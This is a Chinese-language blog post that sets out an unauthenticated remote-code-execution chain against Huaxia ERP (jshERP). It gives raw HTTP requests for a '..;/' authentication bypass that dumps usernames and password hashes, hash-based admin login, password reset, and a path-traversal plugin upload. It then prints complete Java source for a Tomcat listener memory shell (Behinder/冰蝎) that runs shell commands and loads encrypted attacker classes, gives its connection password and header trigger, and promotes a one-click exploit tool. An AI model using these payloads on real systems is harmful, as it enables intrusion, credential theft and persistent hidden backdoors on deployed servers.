华夏ERP全版本未授权RCE及内存马注入

华夏ERP全版本未授权RCE及内存马注入

华夏ERP全版本未授权RCE及内存马注入-李白你好
华夏ERP全版本未授权RCE及内存马注入
此内容为付费阅读,请付费后查看
10
立即购买
请登录后查看!
会员专属内容
付费阅读
已售 2

华夏ERP全版本未授权RCE

权限绕过

目前最新版V3.3

20240827123823315-527461e31ff4371038697ef7b5105350

GET /jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList HTTP/1.1

通过getAllList读取用户名,密码MD5值。

20240827123927566-28cbacb6b85e0b2b21bedfe8d323de1d

hash登录

使用读取得密码MD5值登录超级管理员后台。

POST /jshERP-boot/user/login HTTP/1.1
Host: IP
Content-Length: 67
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://172.20.10.3:3000
Referer: http://172.20.10.3:3000/user/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1724134392; HMACCOUNT=4FC1696FCCBA0C17; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1724138837
Connection: close

{"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"}

20240827125856673-7ef74ae037bccf40ea8309bec1183f2e

20240827125910737-5b47c69bbe48abdde50db34b027007a5

权限绕过重置用户密码

/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/resetPwd

{"id":63}

20240827125928548-1bc206fd032361f01902066ffdf2a02c

后台利用

超级管理员用户登陆后使用uploadPluginConfigFile接口创建../plugin目录,此目录创建后可部署插件。

POST /jshERP-boot/plugin/uploadPluginConfigFile HTTP/1.1
Host: 172.20.10.3:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------64343665641219398361207370473
X-Access-Token: 90777cf909864636a458b05de1eab2a9_0
Content-Length: 247

-----------------------------64343665641219398361207370473
Content-Disposition: form-data; name="configFile"; filename="../plugins/success.txt"
Content-Type: text/plain

success

-----------------------------64343665641219398361207370473--

20240827125957466-3f7ad8237375747b34997af8df8b791d

20240827130012468-30e84f75d646fa6ac5aa32f1d12b467e

后台上传插件

20240827130028985-03c00aeebeeb98e8345a181bd8626d20

编写springboot-plugin-framework-parent插件。

https://gitee.com/xiongyi01/springboot-plugin-framework-parent

20240827130042139-cfbb415d58e05c35cd4d8f592dd96814

内存马注入利用

编写冰蝎监听器,部署插件注入内存马。

package ysoserial.payloads.templates;

import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.modeler.Registry;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.management.DynamicMBean;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Scanner;
import java.util.Set;

public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener {
    static {
        try {
            MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
            field.setAccessible(true);
            Object obj = field.get(mbeanServer);

            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
            field.setAccessible(true);
            Repository repository = (Repository) field.get(obj);

            Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
            if (objectSet.size() == 0) {
                // springboot的jmx中为Tomcat而非Catalina
                objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
            }

            for (NamedObject namedObject : objectSet) {
                DynamicMBean dynamicMBean = namedObject.getObject();
                field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
                field.setAccessible(true);
                obj = field.get(dynamicMBean);

                field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
                field.setAccessible(true);
                StandardContext standardContext = (StandardContext) field.get(obj);

                TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX();
                standardContext.addApplicationEventListener(listener);
            }
        } catch (Exception e) {
//            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
// Listener马没有包装类问题
        try {
            RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
            Field f = requestFacade.getClass().getDeclaredField("request");
            f.setAccessible(true);
            Request request = (Request) f.get(requestFacade);
            Response response = request.getResponse();
            // 入口
            if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
                // cmdshell
                if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
                    String cmd = request.getHeader("cmd");
                    if (cmd != null && !cmd.isEmpty()) {
                        String[] cmds = null;
                        if (System.getProperty("os.name").toLowerCase().contains("win")) {
                            cmds = new String[]{"cmd", "/c", cmd};
                        } else {
                            cmds = new String[]{"/bin/bash", "-c", cmd};
                        }
                        String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
                        response.resetBuffer();
                        response.getWriter().println(result);
                        response.flushBuffer();
                        response.finishResponse();
                    }
                } else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {
                    if (request.getMethod().equals("POST")) {
                        // 创建pageContext
                        HashMap pageContext = new HashMap();

                        // lastRequest的session是没有被包装的session!!
                        HttpSession session = request.getSession();
                        pageContext.put("request", request);
                        pageContext.put("response", response);
                        pageContext.put("session", session);
                        // 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串
                        String payload = request.getReader().readLine();

//                        System.out.println(payload);
                        // 冰蝎逻辑
                        String k = "e45e329feb5d925b"; // rebeyond
                        session.putValue("u", k);
                        Cipher c = Cipher.getInstance("AES");
                        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                        Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                        method.setAccessible(true);
                        byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
                        Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
                        evilclass.newInstance().equals(pageContext);
                    }
                } else {
                    response.resetBuffer();
                    response.getWriter().println("error");
                    response.flushBuffer();
                    response.finishResponse();
                }
            }
        } catch (Exception e) {
//            e.printStackTrace();
        }
    }
}

 

插件启动,new一个冰蝎监听马。

20240827130149152-1fe1b9e0080f9f99bd7a2b4c7989e0b0

上传插件连接内存马

密码:rebeyond

Referer: https://www.google.com/
x-client-data: rebeyond

20240827130221462-b450f48edc72679d1a28978b35bc9ccd

20240827130208967-1fe2bc7d558cb0aae09f46dfde5e00d9

华夏ERP漏洞利用一键化工具下载

20240827130244671-cc38b4e34596196b9cee302ee0bb253a

20240827130256549-170f37b40ca42f29925ec2a5eee44000

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容